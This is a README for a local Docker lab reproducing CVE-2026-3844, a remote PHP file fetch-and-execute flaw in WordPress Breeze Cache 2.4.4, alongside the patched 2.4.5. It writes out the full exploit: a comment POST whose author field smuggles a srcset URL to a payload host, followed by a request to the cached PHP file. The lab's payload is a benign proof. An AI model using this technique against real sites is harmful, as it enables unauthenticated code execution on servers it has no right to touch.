
Local-only Docker lab for reproducing and comparing CVE-2026-3844 behavior in the WordPress Breeze Cache plugin.
This repository demonstrates the vulnerable behavior in Breeze Cache 2.4.4 and compares it with the patched behavior in Breeze Cache 2.4.5. The lab uses two isolated WordPress services, one vulnerable and one patched, plus a local payload server inside the Docker network.
The proof of concept is intentionally least-harm: it does not use a webshell, does not expose a command parameter, does not start a reverse shell, and does not require reading files from inside the container. The proof is based on observable HTTP behavior from the host.
CVE-2026-3844 affects the Breeze Cache plugin for WordPress up to and including version 2.4.4. The vulnerable code path is related to the plugin’s local Gravatar caching feature, specifically the fetch_gravatar_from_remote() flow.
When the Breeze option Host Files Locally - Gravatars is enabled, vulnerable versions can fetch an attacker-controlled remote file and store it under a public web-accessible cache directory. If the fetched file is PHP, the file may be executed by the web server when requested over HTTP.
This lab reproduces that behavior locally:
vuln service: WordPress + Breeze Cache 2.4.4patched service: WordPress + Breeze Cache 2.4.5payload service: local Docker-only payload serversrcset stringThe expected result is:
http://127.0.0.1:8081 / Breeze 2.4.4 → proof PHP is cached and executedhttp://127.0.0.1:8082 / Breeze 2.4.5 → proof PHP is not cached/readable/executable.
├── docker-compose.yml
├── vuln/
│ └── Dockerfile
├── patched/
│ └── Dockerfile
├── scripts/
│ └── seed-wordpress.sh
├── payload/
│ └── manual-proof.php
│ └── proof-cve3844.php
├── poc/
│ └── poc.py
│ └── requirements.txt
├── .gitignore
├── README.md
Host machine
│
├── http://127.0.0.1:8081 -> vuln WordPress + Breeze 2.4.4
├── http://127.0.0.1:8082 -> patched WordPress + Breeze 2.4.5
└── http://127.0.0.1:9100 -> local payload server
Docker network
│
├── vuln -> WordPress vulnerable target
├── patched -> WordPress patched target
├── vuln_db -> MariaDB for vulnerable WordPress
├── patched_db -> MariaDB for patched WordPress
└── payload -> Python static HTTP server
The WordPress containers fetch the payload through the Docker network URL:
http://payload:9100/<payload-file>.php
The host verifies the result through normal HTTP requests to the WordPress services.
2.4.42.4.5fetch_gravatar_from_remote()inc/class-breeze-cache-cronjobs.phpbreeze-store-gravatars-locally must be enabledThe vulnerable behavior is only reachable when local Gravatar caching is enabled. This option is disabled by default in typical installations, but this lab enables it intentionally to reproduce the vulnerable code path.
In Breeze Cache 2.4.4, the Gravatar localization flow can extract a remote URL from avatar-related HTML and pass that URL into fetch_gravatar_from_remote().
The vulnerable version lacks sufficient validation around the remote file:
.phpThe resulting file is stored under:
/wp-content/cache/breeze-extra/gravatars/
When a PHP file is saved there and then requested through Apache/PHP, the server executes it.
In Breeze Cache 2.4.5, the patched flow adds validation that prevents this lab payload from being cached as executable PHP. In the local reproduction, the same trigger works against 2.4.4 but does not expose the proof marker against 2.4.5.
This lab intentionally keeps the payload server local instead of using a public payload host.
WordPress download_url() and the WordPress HTTP API reject some private Docker hostnames and non-standard ports by default. Public exploit scripts often use public HTTPS payload URLs, which avoid that restriction. This lab does not do that.
To keep the reproduction fully local, the seed script installs a small local-only MU plugin helper that:
payload and payload.local80 and 9100This helper does not modify Breeze source code. Both the vulnerable and patched services use real Breeze plugin versions installed through WP-CLI.
The helper exists only to make the Docker lab deterministic and local-only.
This repository is intended for local security research and portfolio demonstration only.
Guardrails:
localhost and Docker network servicescmd= webshell behaviorThe PoC payload prints benign PHP runtime information:
CVE-2026-3844_LEAST_HARM_PHP_EXEC_PROOF_<nonce>
php_sapi=apache2handler
user=www-data
uid=33
pid=<process id>
host=<container hostname>
This proves code execution context without spawning shell commands.
requestsInstall Python dependency:
python3 -m venv .venv
source .venv/bin/activate
pip install -r poc/requirements.txt
requirements.txt should contain:
requests
Build and start the lab:
docker compose down -v --remove-orphans
docker compose up -d --build
Check service status:
docker compose ps
Expected services:
vuln healthy http://127.0.0.1:8081
patched healthy http://127.0.0.1:8082
payload running http://127.0.0.1:9100
vuln_db healthy
patched_db healthy
Check seed logs:
docker compose logs --tail=120 vuln
docker compose logs --tail=120 patched
Expected log lines:
[seed] WordPress ready at http://localhost:8081 with Breeze 2.4.4
[seed] WordPress ready at http://localhost:8082 with Breeze 2.4.5
Check WordPress installation:
docker compose exec vuln wp core is-installed --allow-root --path=/var/www/html
docker compose exec patched wp core is-installed --allow-root --path=/var/www/html
Check Breeze versions:
docker compose exec vuln wp plugin get breeze --field=version --allow-root --path=/var/www/html
docker compose exec patched wp plugin get breeze --field=version --allow-root --path=/var/www/html
Expected:
2.4.4
2.4.5
Check the vulnerable precondition:
docker compose exec vuln wp option pluck breeze_advanced_settings breeze-store-gravatars-locally --allow-root --path=/var/www/html
docker compose exec patched wp option pluck breeze_advanced_settings breeze-store-gravatars-locally --allow-root --path=/var/www/html
Expected:
1
1
Check that WordPress can fetch the local payload service:
docker compose exec vuln wp eval '
$r = download_url("http://payload:9100/proof-cve3844.php");
if (is_wp_error($r)) { var_dump($r->get_error_message()); exit; }
echo $r . PHP_EOL;
echo file_get_contents($r);
@unlink($r);
' --allow-root --path=/var/www/html
If proof-cve3844.php does not exist yet, create any temporary file in payload/ or run the PoC once.
Run against the vulnerable service:
python3 poc/poc.py --base-url http://127.0.0.1:8081
Expected vulnerable result:
[VULNERABLE-BEHAVIOR] unique PHP proof marker was publicly readable
[+] PHP proof appears to have executed
Example proof output:
CVE-2026-3844_LEAST_HARM_PHP_EXEC_PROOF_<nonce>
php_sapi=apache2handler
user=www-data
uid=33
pid=<pid>
host=<container hostname>
Run against the patched service:
python3 poc/poc.py --base-url http://127.0.0.1:8082
Expected patched result:
[PATCHED-BEHAVIOR] unique PHP proof marker was not publicly readable
A redirect such as 301 Moved Permanently is not considered proof. The PoC requires the unique marker to appear in the HTTP response body.
The PoC performs the following local-only flow:
payload/.x srcset=http://payload:9100/<unique-payload>.php
/wp-content/cache/breeze-extra/gravatars/<unique-payload>.php
--keep-payload is used.The PoC does not read files from inside the target container. The evidence is collected over HTTP from the host.
Create a manual payload:
cat > payload/manual-proof.php <<'PHP'
<?php
header('Content-Type: text/plain');
echo "CVE-2026-3844_MANUAL_PROOF\n";
echo "php_sapi=" . php_sapi_name() . "\n";
echo "user=" . get_current_user() . "\n";
echo "uid=" . (function_exists('posix_geteuid') ? posix_geteuid() : getmyuid()) . "\n";
echo "pid=" . getmypid() . "\n";
echo "host=" . gethostname() . "\n";
PHP
Confirm the payload server serves the PHP source as static text:
curl -i http://127.0.0.1:9100/manual-proof.php
Post a comment to the vulnerable WordPress service:
curl -i -sS \
-X POST 'http://127.0.0.1:8081/wp-comments-post.php' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'comment_post_ID=1' \
--data-urlencode 'comment_parent=0' \
--data-urlencode 'author=x srcset=http://payload:9100/manual-proof.php' \
--data-urlencode '[email protected]' \
--data-urlencode 'url=' \
--data-urlencode 'comment=manual CVE-2026-3844 proof' \
--data-urlencode 'submit=Post Comment'
Trigger Breeze processing by rendering the post through the configured WordPress site URL host:
curl -sS 'http://localhost:8081/?p=1' >/tmp/cve3844-vuln-render.html
grep -i 'manual-proof.php' /tmp/cve3844-vuln-render.html
Expected HTML evidence:
alt='x srcset=http://localhost:8081/wp-content/cache/breeze-extra/gravatars/manual-proof.php Avatar'
Request the cached PHP file:
curl -i 'http://localhost:8081/wp-content/cache/breeze-extra/gravatars/manual-proof.php'
Expected vulnerable proof:
HTTP/1.1 200 OK
Content-Type: text/plain;charset=UTF-8
CVE-2026-3844_MANUAL_PROOF
php_sapi=apache2handler
user=www-data
uid=33
pid=<pid>
host=<container hostname>
Check payload logs:
docker compose logs --tail=50 payload
Expected:
GET /manual-proof.php HTTP/1.1" 200
| Target | Breeze Version | Expected Result |
|---|---|---|
http://127.0.0.1:8081 | 2.4.4 | PHP proof is fetched, cached, and executable |
http://127.0.0.1:8082 | 2.4.5 | PHP proof marker is not exposed |
Stop and remove containers, networks, and volumes:
docker compose down -v --remove-orphans
Remove generated payload files if needed:
rm -f payload/proof-cve3844-*.php payload/manual-proof*.php
NVD — CVE-2026-3844:
https://nvd.nist.gov/vuln/detail/CVE-2026-3844
Patchstack Database — WordPress Breeze Cache Plugin <= 2.4.4 Unauthenticated Arbitrary File Upload via fetch_gravatar_from_remote:
https://patchstack.com/database/vulnerability/wordpress-breeze-cache-plugin-2-4-4-unauthenticated-arbitrary-file-upload-via-fetch-gravatar-from-remote-vulnerability
Wordfence Threat Intelligence — Breeze Cache <= 2.4.4 Unauthenticated Arbitrary File Upload:
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/breeze/breeze-cache-244-unauthenticated-arbitrary-file-upload-via-fetch-gravatar-from-remote
Wordfence Blog — Active exploitation coverage for Breeze Cache vulnerability:
https://www.wordfence.com/blog/2026/05/attackers-actively-exploiting-critical-vulnerability-in-breeze-cache-plugin/
Breeze Cache plugin page:
https://wordpress.org/plugins/breeze/
WordPress plugin downloads used in this lab:
WordPress Plugin Trac — Breeze source reference, class-breeze-cache-cronjobs.php:
https://plugins.trac.wordpress.org/browser/breeze/tags/2.4.4/inc/class-breeze-cache-cronjobs.php
This project is for authorized local security research only. Do not run the PoC against systems you do not own or do not have explicit permission to test.
WordPress Plugin Trac — Breeze patched source reference, class-breeze-cache-cronjobs.php:
https://plugins.trac.wordpress.org/browser/breeze/tags/2.4.5/inc/class-breeze-cache-cronjobs.php